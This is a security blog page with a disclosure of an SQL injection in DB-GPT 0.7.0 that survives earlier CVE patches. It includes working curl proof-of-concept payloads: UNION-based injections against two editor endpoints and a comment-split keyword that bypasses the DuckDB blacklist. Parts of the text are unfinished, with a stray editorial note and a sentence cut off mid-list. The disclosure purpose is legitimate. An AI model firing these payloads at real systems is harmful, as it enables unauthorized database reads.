How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
An SQL injection was found in DB-GPT 0.7.0 despite fixes for prior CVEs (CVE-2024-10835 and CVE-2024-10901). Both /v1/editor/sql/run and /v1/editor/chart/run endpoints remain vulnerable to SQL injection. The previous patches implemented blacklist-based protections for DuckDB connections, but missed the path allowing direct execution of user-provided SQL without proper parameterization.
The prior incomplete fix:
(@RT optional if you want to add code, can just keep the text but remove code)
editor_sql_run() in /packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/editor/api_editor_v1.pyeditor_sql_run()conn.query_ex() call in editor_sql_run()query_ex() in /packages/dbgpt-core/src/dbgpt/datasource/rdbms/base.pyFor any non-DuckDB database (completely unprotected):
curl -X POST "http://localhost:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{
"db_name": "mysql_database",
"sql": "SELECT 1 as test UNION ALL SELECT table_name FROM information_schema.tables--"
}'For the chart endpoint:
curl -X POST "http://localhost:5670/api/v1/editor/chart/run" \
-H "Content-Type: application/json" \
-d '{
"db_name": "postgres_database",
"chart_type": "bar",
"sql": "SELECT 1 as label, 2 as value UNION ALL SELECT table_name, 1 FROM information_schema.tables--"
}'For DuckDB (bypassing the blacklist protection):
curl -X POST "http://localhost:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{
"db_name": "duck_db",
"sql": "SELECT * FROM (SEL/**/ECT CURRENT_SETTING(\"access_mode\") as a, 1 as b);"
}'Despite the fixes implemented for CVE-2024-10835 and CVE-2024-10901, attackers can still:

Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
See what actually changed in the OWASP Top 10 for 2026, from merged SSRF and XXE categories to new supply chain risks and scanner coverage gaps.
Jeevan Jutla
Gecko Security uncovered CVE-2026-21894 in August 2026, an n8n authorization bypass with CVSS 8.8. See why static tools missed it and how to remediate it.
Jeevan Jutla
Security misconfiguration is OWASP A05 for a reason. Learn how deployment context determines exploitability and how to fix gaps in August 2026.
Jeevan Jutla
How do modern AppSec vendors actually compare? This July 2026 capability map covers SAST, DAST, SCA, business logic flaws, and cross-service
Gecko Security
Break down your AppSec stack: what SAST, DAST, SCA, IAST, and pen testing each see — and what they miss. Updated July 2026 by Gecko Security.
Gecko Security
Occasional updates, new content, and insights. No spam; unsubscribe anytime.